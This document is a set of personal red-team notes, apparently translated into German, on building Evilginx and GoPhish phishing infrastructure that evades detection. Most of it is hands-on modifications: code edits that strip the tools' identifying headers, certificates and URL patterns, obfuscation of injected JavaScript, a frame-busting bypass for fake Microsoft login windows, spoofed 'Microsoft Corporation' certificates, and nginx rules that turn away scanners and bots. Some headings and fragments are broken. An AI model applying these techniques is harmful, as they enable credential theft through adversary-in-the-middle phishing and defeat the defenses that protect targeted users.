
Evilginx-Phishing-Infrastruktur-Einrichtungsleitfaden – Absicherung der Evilginx- und Gophish-Infrastruktur, Entfernen von IOCs, Phishing-TTPs
Hinweis: Dies sind Kopien meiner persönlichen Notizen. Bitte verlasse dich nicht vollständig darauf.
Nach abgelaufenen Domains suchen und eventuell die guten kaufen
Domain-Kategorisierung
Automatisierung der Domain-Reputationsprüfung/-einreichung

Methode 1: Über E-Mail-Dienstanbieter
Methode 2: Verschiedene Techniken
Technik 1: Von Andre Rosario - Aus dem BreakDev Red Discord
[email protected], stammt aber wirklich von (Technisch versierte Personen können das allerdings leicht herausfinden)Evilginx-Phishlets erstellen
Evilginx-Installationsskripte
Tipps zur Absicherung der Evilginx-Infrastruktur -
https://github.com/An0nUD4Y/Evilginx2-Phishlets#securing-evilginx-infra-tips
- Rewrite URLs on Phishing Pages to avoid detection through URL Path pattern matching (by Kuba).
- Remove IOCs (X-Evilginx header and Default Cert Details)
- Modify Unauth redirect static contents
- Modify code to request wildcard certificates for root domain from Let'sEncrypt other than requesting for each subdomains (As mentioned in Kuba's blog) - Check this repo for reference https://github.com/ss23/evilginx2
- Put evilginx behind a proxy to help against TLS fingerprinting (JA3 and JA3S)
- Use cloudflare in between if possible/feasible (You have to configure the SSL Settings correctly, change it to Full in cloudflare settings)
- Use some known ASN blacklist to avoid getting detected like here (https://github.com/aalex954/evilginx2-TTPs#ip-blacklist)
- Reduce the Number of proxyhosts in phishlet if possible to reduce content loading time.
- Host Evilginx at Azure and use their domain (limit proxy host in phishlet to 1 or find a way , may be create multiple azure sub domains and try with that)
- Add some sub_filters to modify the content of the pages to avoid content based detections, like (Favicon, form title font or style, or anything which seems relevant)
- Block the feedback/telemetry/logs/analytics subdomains using the phishlet sub_filters which can log the domain or may help later on analysis.
- See if js-injected is static or dynamic , if static modify the evilginx js-inject code to create dynamic/obfuscated version of your js for each user/target.
- Make sure to not leak your Evilginx infra IP, Check the DNS history to make sure its not stored anywhere (Analysts may look for older DNS Records of the domain)
- Be aware of this research : https://catching-transparent-phish.github.io/catching_transparent_phish.pdf , repo - https://catching-transparent-phish.github.io/
Diese Änderungen funktionieren auch in der neuesten Evilginx- + GoPhish-Version, d. h. evilginx3.3
Tipps : Verwenden Sie den Parameter {{.URL}} in der Phishing-Vorlage, wenn Sie Evilginx verwenden ( https://github.com/kgretzky/evilginx2/issues/1042#issuecomment-2052073864)
Änderungen im GoPhish-Quellcode und in der Dateistruktur, um die GoPhish-Infrastruktur abzusichern
Entfernen Sie X-Gophish-Instanzen ( X-Gophish-Contact , X-Gophish-Signature)
Entfernen Sie const ServerName= "gophish" und ändern Sie es in const ServerName= "IGNORE" in der Datei config/config.go
Ändern Sie den Standard-Admin-Server-Port in der Datei config.json.
Ändern Sie die Signaturen von Test-E-Mail-Nachrichten, um eine Erkennung während des SMTP-Tests zu vermeiden. Controllers > api > util.go
Controllers > api > util.go
models > testdata > email_request.go
models > testdata > email_request_test.go
models > testdata > maillog.go
models > testdata > maillog_test.go
models > testdata > smtp_test.go
Technik 2: Nutzung der Azure-External-Invite-Funktion - Aus dem BreakDev Red Discord
Verschiedene Tipps, um E-Mails in den Posteingang zu bekommen.
Blogs/Vorträge/Referenzen
X-Evilginx-Header entfernen (Prüfe alle Codezeilen mit req.Header.Set und kommentiere die relevanten Funktionen in der Datei core/http_proxy.go aus)
// comment line 469
req.Header.Set(p.getHomeDir(), o_host)
//comment line 659
req.Header.Set(p.getHomeDir(), o_host)
// comment function at line 1791-1793
func (p *HttpProxy) getHomeDir() string {
return strings.Replace(HOME_DIR, ".e", "X-E", 1)
}
// comment line 52-54
const (
HOME_DIR = ".evilginx"
)
Um die statischen Inhalte der Unauth-Weiterleitung zu ändern, suche in der Datei core/http_proxy.go nach <html> und passe den HTML-Code an, um statische Signaturen zu entfernen.
Um auch die Erkennung der statischen injizierten JS-Code-Signatur zu vermeiden, kannst du den Code wie folgt ändern
Stelle sicher, dass du „github.com/tdewolff/minify/js“ zu den Imports hinzufügst
re := regexp.MustCompile(`(?i)(<\s*/body\s*>)`)
var d_inject string
if script != "" {
minifier := minify.New() // "github.com/tdewolff/minify/js"
minifier.AddFunc("text/javascript", js.Minify)
obfuscatedScript, err := minifier.String("text/javascript", script)
if err != nil {
// Handle error - Obfuscation failed
d_inject = "<script" + js_nonce + ">" + "function doNothing() {var x =0};" + script + "</script>\n${1}"
}
d_inject = "<script" + js_nonce + ">" + "function doNothing() {var x =0};" + obfuscatedScript + "</script>\n${1}"
//d_inject = "<script" + js_nonce + ">" + "function doNothing() {var x =0};" + script + "</script>\n${1}"
} else if src_url != "" {
d_inject = "<script" + js_nonce + " type=\"application/javascript\" src=\"" + src_url + "\"></script>\n${1}"
} else {
return body
}
Ändere auch die Datei core/cert.db
Ändere “rid” für GoPhish.
Verwende nginx, caddy oder andere Proxys vor Evilginx.
Redirectoren verwenden
<meta http-equiv="refresh" content="5;url=https://example.com">Das Standardmuster der Lure-URL ändern, das eine zufällige Zeichenfolge der Länge 8 ist.
// Line 728 in core/terminal.go file
l := &Lure{
Path: "/" + GenRandomString(8),
Phishlet: args[1],
}
URLs auf Phishing-Seiten umschreiben, um eine Erkennung durch URL-Pfad-Musterabgleich zu vermeiden (von Kuba). [Dieses Feature ist in der öffentlichen Evilginx-Version nicht verfügbar, du musst es selbst implementieren.]
# Only Work in Evilginx Pro Version
# Similar functionality can be implemented in public version as well.
rewrite_urls:
trigger:
domains: ['www.linkedin.com']
paths: ['^/login$']
rewrite:
path: '/this/is/not/the/path/you/are/looking/for.php'
query:
{key:'a', value: 'HOW'}
{key:'b', value: 'MUCH'}
{key:'d', value: 'IS'}
{key:'e', value: 'THE'}
{key:'f', value: 'PHISH'}
{key:'q', value: '{id}'}

Das signierte Muster und den Wert der Lure-/Session-ID-Cookies ändern (von @rad9800 )
Referrer-Header blockieren, damit dein Phishing-Domainname nicht durchsickert - siehe diesen Forschungsblog als Referenz:
resp.Header.Set("Referrer-Policy", "no-referrer")Definiere deine eigene CSP (Content Security Policy), um Telemetrie/Canary/Erkennung durch das Durchsickern der Phishing-Domain zu vermeiden.
Prüfen, ob die Zielseite Canary-Tokens (CSS, JS) verwendet, und diese vermeiden
JA4-Fingerprint-Umgehung
BITB + Evilginx + Frame-Busting-Bypass
- triggers_on: 'login.microsoftonline.com'
orig_sub: ''
domain: 'okta.com'
search: 'if\(e.self===e.top\){'
replace: 'if(true){window.oldself=e.self;e.self=e.top;'
mimes: ['text/html', 'charset=utf-8']
```- triggers_on: 'login.microsoftonline.com'
orig_sub: ''
domain: 'okta.com'
search: 'X-Frame-Options: DENY'
replace: 'Test: test'
mimes: ['text/html', 'charset=utf-8']
if (top != self)
if (top.location != self.location)
if (top.location != location)
if (parent.frames.length > 0)
if (window != top)
if (window.top !== window.self)
if (window.self != window.top)
if (parent && parent != window)
if (parent && parent.frames && parent.frames.length>0)
if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0))
top.location.replace(self.location)
top.location.href = window.location.href
top.location.replace(document.location)
top.location.href = window.location.href
top.location.href = "URL"
document.write(’’)
top.location = location
top.location.replace(document.location)
top.location.replace(’URL’)
top.location.href = document.location
top.location.replace(window.location.href)
top.location.href = location.href
self.parent.location = document.location
parent.location.href = self.document.location
top.location.href = self.location
top.location = window.location
top.location.replace(window.location.pathname)
window.top.location = window.self.location
setTimeout(function(){document.body.innerHTML=’’;},1);
window.self.onload = function(evt){document.body.innerHTML=’’;}
var url = window.location.href; top.location.replace(url)
Ändern Sie die 404-Antwort
Fügen Sie die folgende benutzerdefinierte Funktion in der Datei controllers/phish.go hinzu
func customNotFound(w http.ResponseWriter, r *http.Request) {
http.Error(w, "Try again!", http.StatusNotFound)
}
Ersetzen Sie nun alle Vorkommen von http.NotFound(w, r) durch customNotFound(w, r)
Entfernen Sie die hartcodierte robots.txt-Antwort und ändern Sie sie in der Datei controllers/phish.go
Ändern Sie den entsprechenden Code in der Datei phish.go wie folgt.
//Modified Response
// RobotsHandler prevents search engines, etc. from indexing phishing materials
func (ps *PhishingServer) RobotsHandler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintln(w, "User-agent: *\nDisallow: /*/*\nDisallow: /.git/*")
}
Ändern Sie den GET-Parameter "rid" in den Anfragen
"rid" in etwas anderes ändern.Für fortgeschrittene Prävention können Sie auch den static-Ordner ändern und in etwas anderes umbenennen. Benennen Sie auch die darin enthaltenen Dateien um, um eine pfadbasierte Erkennung zu vermeiden. Vergessen Sie nicht, auch den jeweiligen Quellcode anzupassen.
Ändern Sie die Zertifikatseigenschaften in der Datei util/util.go
template := x509.Certificate{
SerialNumber: serialNumber,
Subject: pkix.Name{
//Organization: []string{"Gophish"},
Organization: []string{"Microsoft Corporation"},
},
Verwenden Sie Nginx als Proxy für den Datenverkehr, um Fingerprinting des Golang-Servers zu vermeiden
service nginx start
Sie müssen die config.json von GoPhish ändern, um die Ports für HTTP von 80 auf 8080 und für HTTPS vom Standardwert auf 60002 zu ändern, wie unten gezeigt
{
"admin_server": {
"listen_url": "127.0.0.1:60002",
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key",
"trusted_origins": []
},
"phish_server": {
"listen_url": "127.0.0.1:8080",
"use_tls": false,
"cert_path": "example.crt",
"key_path": "example.key"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}
Die folgende Konfiguration blockiert alle Anfragen mit einem User-Agent, der „Bot“ oder „bot“ enthält
# /etc/nginx/nginx.conf
events {
# Define event processing parameters here
worker_connections 1024; # Adjust according to your requirements
}
http {
upstream backend {
server localhost:8080;
}
# HTTP server
server {
listen 80 default_server;
# Reject requests with "bot" or "Bot" in User-Agent
if ($http_user_agent ~* (bot|Bot)) {
return 403;
}
location / {
proxy_pass http://backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
upstream backend_https {
server localhost:60002;
}
# HTTPS server
server {
listen 60001 ssl default_server;
ssl_certificate /root/Phishing/gophish-mod/gophish_admin.crt;
ssl_certificate_key /root/Phishing/gophish-mod/gophish_admin.key;
# Reject requests with "bot" or "Bot" in User-Agent
if ($http_user_agent ~* (bot|Bot)) {
return 403;
}
location / {
proxy_pass https://backend_https;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
}
Um nur einen bestimmten User-Agent zuzulassen, verwenden Sie die folgende Konfiguration. Diese blockiert alle Anfragen und erlaubt nur Anfragen mit dem User-Agent „iamdevil“.
# /etc/nginx/nginx.conf
events {
# Define event processing parameters here
worker_connections 1024; # Adjust according to your requirements
}
http {
upstream backend {
server localhost:8080;
}
# HTTP server
server {
listen 80 default_server;
# Reject requests with user agent other than "iamdevil"
if ($http_user_agent != "iamdevil") {
return 403;
}
location / {
proxy_pass http://backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
upstream backend_https {
server localhost:60002;
}
# HTTPS server
server {
listen 60001 ssl default_server;
ssl_certificate /root/Phishing/gophish-mod/gophish_admin.crt;
ssl_certificate_key /root/Phishing/gophish-mod/gophish_admin.key;
# Reject requests with user agent other than "iamdevil"
if ($http_user_agent != "iamdevil") {
return 403;
}
location / {
proxy_pass https://backend_https;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
}
Ändern Sie die Signatur des Gophish-Tracking-Pixels, um eine Erkennung anhand des signierten Tracking-Pixels zu vermeiden.
Ändern Sie das Sequenzmuster der E-Mail-Header von GoPhish. Es kann zur Erkennung von GoPhish verwendet werden (von der BreakDev Red Community).
Richten Sie Postfix vor GoPhish ein, um IOCs und andere Erkennungsmerkmale sowie die Spam-Anmutung von E-Mails zu entfernen und die Header zu bereinigen/zu korrigieren.
GoPhish-Forschungsblogs/Vorträge :
Gophish-Alternativen :